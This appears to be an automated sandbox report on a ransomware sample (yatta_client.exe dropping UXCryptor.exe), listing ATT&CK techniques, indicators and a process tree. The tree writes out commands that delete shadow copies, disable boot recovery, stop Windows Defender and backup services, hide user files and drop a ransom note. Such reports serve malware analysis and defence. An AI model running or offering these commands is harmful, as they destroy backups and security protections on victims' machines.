a66da7f6a78659306bfdb45a53cefb7742563a0226c365039452e64621a53fea

Analysis

user interaction
yes
max time kernel
111s
max time network
112s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 06:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
yatta_client.exe
Size 87KB
Sample261027-hcs46sa13v
SHA256 a66da7f6a78659306bfdb45a53cefb7742563a0226c365039452e64621a53fea
MD5 d1243ba69d5fcb49907f209a5a8171a3
SHA1 c43503521fb9bb9b598b02395600d75b3dd73ee0
SHA512 bb472dc862f315fc09c876beb7d38e988cbae51b1e6748c45e3ef997a7c3225b4201536491850f8f7ef8cc27095bd778160697a87f18fd80a6906339bf8eb8bb
SSDEEP 1536:K/TRYO47g41/2EaioEdEZ0+z80Cje3ns+6P93lfyIlEFMzfwbhZJ+oAhmo/TtEZ:KVYOY1dZaioWEZHoj4sVfyIl40moLti
TLSH
T10093D04477F48638C4DD0EF699F3690443B4E7A68F62DBDE5DD8B0EB08727A11211BA2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution impact ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
5	pastebin.com
1	pastebin.com

Looks up external IP address via web service 1 TTPs 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
12	api.ipify.org
14	api.ipify.org
15	api.ipify.org
16	api.ipify.org
17	api.ipify.org
18	api.ipify.org
1	ip-api.com

Hide Artifacts: Hidden Files and Directories 1 TTPs 30 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1780	cmd.exe
4076	cmd.exe
3816	cmd.exe
6284	cmd.exe
6416	cmd.exe
6132	cmd.exe
432	cmd.exe
1132	cmd.exe
2772	cmd.exe
6456	cmd.exe
3276	cmd.exe
2784	cmd.exe
6440	cmd.exe
6252	cmd.exe
6260	cmd.exe
4248	cmd.exe
1648	cmd.exe
3972	cmd.exe
6424	cmd.exe
6268	cmd.exe
3360	cmd.exe
4288	cmd.exe
6448	cmd.exe
2004	cmd.exe
3376	cmd.exe
1248	cmd.exe
6472	cmd.exe
6276	cmd.exe
5656	cmd.exe
6244	cmd.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	yatta_client.exe

Launches sc.exe 34 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
8696	sc.exe
8656	sc.exe
8944	sc.exe
6468	sc.exe
7964	sc.exe
8152	sc.exe
9100	sc.exe
4644	sc.exe
4152	sc.exe
3952	sc.exe
5764	sc.exe
7588	sc.exe
3876	sc.exe
9124	sc.exe
4088	sc.exe
2100	sc.exe
8784	sc.exe
1200	sc.exe
7716	sc.exe
1072	sc.exe
3176	sc.exe
7000	sc.exe
8876	sc.exe
8884	sc.exe
7712	sc.exe
2596	sc.exe
5528	sc.exe
6992	sc.exe
8144	sc.exe
6680	sc.exe
4296	sc.exe
3604	sc.exe
8100	sc.exe
8464	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5160	cmd.exe
5796	cmd.exe
1716	cmd.exe
5360	cmd.exe
6540	cmd.exe
1584	cmd.exe
4800	cmd.exe
3656	cmd.exe
2720	cmd.exe
6524	cmd.exe
6384	cmd.exe
6356	cmd.exe
6348	cmd.exe
4356	cmd.exe
1880	cmd.exe
5304	cmd.exe
4224	cmd.exe
4080	cmd.exe
6316	cmd.exe
2744	cmd.exe
2616	cmd.exe
5060	cmd.exe
1492	cmd.exe
6580	cmd.exe
6572	cmd.exe
6532	cmd.exe
6364	cmd.exe
3564	cmd.exe
2456	cmd.exe
6548	cmd.exe
6500	cmd.exe
5376	cmd.exe
5984	cmd.exe
5420	cmd.exe
5816	cmd.exe
6340	cmd.exe
6300	cmd.exe
6508	cmd.exe
572	cmd.exe
3472	cmd.exe
6564	cmd.exe
4616	cmd.exe
6556	cmd.exe
6308	cmd.exe
7864	cmd.exe
4968	cmd.exe
6036	cmd.exe
6400	cmd.exe
2600	cmd.exe
1940	cmd.exe
3740	cmd.exe
3380	cmd.exe
6588	cmd.exe
6492	cmd.exe
940	cmd.exe
6516	cmd.exe
6324	cmd.exe
2084	cmd.exe
4196	cmd.exe
6332	cmd.exe
6372	cmd.exe
3400	cmd.exe
2548	cmd.exe
5644	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	yatta_client.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	yatta_client.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yatta_client.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
2236	taskkill.exe
4084	taskkill.exe
6480	taskkill.exe
6292	taskkill.exe
2028	taskkill.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3448	yatta_client.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3448	yatta_client.exe

Views/modifies file attributes 1 TTPs 32 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4820	attrib.exe
9040	attrib.exe
2688	attrib.exe
2416	attrib.exe
6432	attrib.exe
8188	attrib.exe
8760	attrib.exe
8900	attrib.exe
9148	attrib.exe
8	attrib.exe
5844	attrib.exe
8868	attrib.exe
1960	attrib.exe
1164	attrib.exe
9064	attrib.exe
9052	attrib.exe
7192	attrib.exe
5928	attrib.exe
2424	attrib.exe
4556	attrib.exe
6624	attrib.exe
6464	attrib.exe
8316	attrib.exe
4168	attrib.exe
6196	attrib.exe
7316	attrib.exe
8476	attrib.exe
9176	attrib.exe
7832	attrib.exe
8912	attrib.exe
1140	attrib.exe
3160	attrib.exe

C:\Users\Admin\AppData\Local\Temp\yatta_client.exe
"C:\Users\Admin\AppData\Local\Temp\yatta_client.exe"
1⤵
- Enumerates video capture drivers
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3448
- C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
  "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
  2⤵
  PID:2480
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c F: & attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6132
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h +s +r +i /D /S *
      4⤵
      Views/modifies file attributes
      PID:5928
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -h +s +r info-Locker.txt
      4⤵
      Views/modifies file attributes
      PID:4556
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4248
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h +s +r +i /D /S *
      4⤵
      Views/modifies file attributes
      PID:2424
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -h +s +r info-Locker.txt
      4⤵
      Views/modifies file attributes
      PID:4820
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3276
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h +s +r +i /D /S *
      4⤵
      Views/modifies file attributes
      PID:5844
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -h +s +r info-Locker.txt
      4⤵
      Views/modifies file attributes
      PID:1164
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1132
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h +s +r +i /D /S *
      4⤵
      Views/modifies file attributes
      PID:8
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -h +s +r info-Locker.txt
      4⤵
      Views/modifies file attributes
      PID:2688
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5656
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h +s +r +i /D /S *
      4⤵
      Views/modifies file attributes
      PID:1960
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -h +s +r info-Locker.txt
      4⤵
      Views/modifies file attributes
      PID:4168
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:432
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h +s +r +i /D /S *
      4⤵
      Views/modifies file attributes
      PID:3160
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -h +s +r info-Locker.txt
      4⤵
      Views/modifies file attributes
      PID:2416
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill.exe /f /im Explorer.exe
    3⤵
    - Kills process with taskkill
    PID:2028
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Executes a command shell one-liner
    PID:3472
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Executes a command shell one-liner
    PID:5984
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    - Executes a command shell one-liner
    PID:2600
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Executes a command shell one-liner
    PID:4356
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no
    3⤵
    - Executes a command shell one-liner
    PID:4616
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reagentc /disable
    3⤵
    - Executes a command shell one-liner
    PID:2548
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:940
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:5376
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c wmic shadowcopy delete
    3⤵
    - Executes a command shell one-liner
    PID:5304
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:2824
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c sc config VSS start= disabled & sc stop VSS
    3⤵
    - Executes a command shell one-liner
    PID:1584
  - - C:\Windows\SysWOW64\sc.exe
      sc config VSS start= disabled
      4⤵
      Launches sc.exe
      PID:4152
  - - C:\Windows\SysWOW64\sc.exe
      sc stop VSS
      4⤵
      Launches sc.exe
      PID:5528
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c sc config SDRSVC start= disabled & sc stop SDRSVC
    3⤵
    - Executes a command shell one-liner
    PID:3564
  - - C:\Windows\SysWOW64\sc.exe
      sc config SDRSVC start= disabled
      4⤵
      Launches sc.exe
      PID:3952
  - - C:\Windows\SysWOW64\sc.exe
      sc stop SDRSVC
      4⤵
      Launches sc.exe
      PID:3176
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c sc config WinDefend start= disabled & sc stop WinDefend
    3⤵
    - Executes a command shell one-liner
    PID:2084
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:4644
  - - C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      4⤵
      Launches sc.exe
      PID:5764
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c sc config wuauserv start= disabled & sc stop wuauserv
    3⤵
    - Executes a command shell one-liner
    PID:3400
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:2100
  - - C:\Windows\SysWOW64\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:1072
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c sc config Sense start= disabled & sc stop Sense
    3⤵
    - Executes a command shell one-liner
    PID:572
  - - C:\Windows\SysWOW64\sc.exe
      sc config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:2596
  - - C:\Windows\SysWOW64\sc.exe
      sc stop Sense
      4⤵
      Launches sc.exe
      PID:4296

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:5976

C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" -startup
1⤵
PID:2280
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:6416
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:9064
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:6424
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:8316
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:6440
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:8912
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:6448
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:7192
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:6456
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:9148
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:6472
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /f /im Explorer.exe
  2⤵
  - Kills process with taskkill
  PID:6480
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  - Executes a command shell one-liner
  PID:6492
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  - Executes a command shell one-liner
  PID:6500
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Executes a command shell one-liner
  PID:6508
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Executes a command shell one-liner
  PID:6516
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no
  2⤵
  - Executes a command shell one-liner
  PID:6524
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reagentc /disable
  2⤵
  - Executes a command shell one-liner
  PID:6532
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  PID:6540
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c wmic shadowcopy delete
  2⤵
  - Executes a command shell one-liner
  PID:6548
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:9188
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config VSS start= disabled & sc stop VSS
  2⤵
  - Executes a command shell one-liner
  PID:6556
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config SDRSVC start= disabled & sc stop SDRSVC
  2⤵
  - Executes a command shell one-liner
  PID:6564
- - C:\Windows\SysWOW64\sc.exe
    sc config SDRSVC start= disabled
    3⤵
    - Launches sc.exe
    PID:4088
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config WinDefend start= disabled & sc stop WinDefend
  2⤵
  - Executes a command shell one-liner
  PID:6572
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:8884
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config wuauserv start= disabled & sc stop wuauserv
  2⤵
  - Executes a command shell one-liner
  PID:6580
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config Sense start= disabled & sc stop Sense
  2⤵
  - Executes a command shell one-liner
  PID:6588
- - C:\Windows\SysWOW64\sc.exe
    sc stop Sense
    3⤵
    - Launches sc.exe
    PID:9124

C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" /setup
1⤵
PID:4768
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:6244
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:6252
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:7832
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:6260
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:6268
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:6276
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:6284
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /f /im Explorer.exe
  2⤵
  - Kills process with taskkill
  PID:6292
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  - Executes a command shell one-liner
  PID:6300
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  - Executes a command shell one-liner
  PID:6308
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Executes a command shell one-liner
  PID:6316
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Executes a command shell one-liner
  PID:6324
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no
  2⤵
  - Executes a command shell one-liner
  PID:6332
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reagentc /disable
  2⤵
  - Executes a command shell one-liner
  PID:6340
- - C:\Windows\SysWOW64\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:8664
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  PID:6348
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c wmic shadowcopy delete
  2⤵
  - Executes a command shell one-liner
  PID:6356
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:7976
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config VSS start= disabled & sc stop VSS
  2⤵
  - Executes a command shell one-liner
  PID:6364
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config SDRSVC start= disabled & sc stop SDRSVC
  2⤵
  - Executes a command shell one-liner
  PID:6372
- - C:\Windows\SysWOW64\sc.exe
    sc config SDRSVC start= disabled
    3⤵
    - Launches sc.exe
    PID:8656
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config WinDefend start= disabled & sc stop WinDefend
  2⤵
  - Executes a command shell one-liner
  PID:6384
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:7716
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:8876
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config wuauserv start= disabled & sc stop wuauserv
  2⤵
  PID:6392
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:1200
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config Sense start= disabled & sc stop Sense
  2⤵
  - Executes a command shell one-liner
  PID:6400
- - C:\Windows\SysWOW64\sc.exe
    sc config Sense start= disabled
    3⤵
    - Launches sc.exe
    PID:6680

C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" --wininit
1⤵
PID:5968
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config Sense start= disabled & sc stop Sense
  2⤵
  - Executes a command shell one-liner
  PID:7864

C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" --init
1⤵
PID:6096
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4076
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:8760
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:8900
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3360
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2784
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:8868
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3376
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:6464
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:8188
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1780
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2004
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:9040
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /f /im Explorer.exe
  2⤵
  - Kills process with taskkill
  PID:2236
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  - Executes a command shell one-liner
  PID:5644
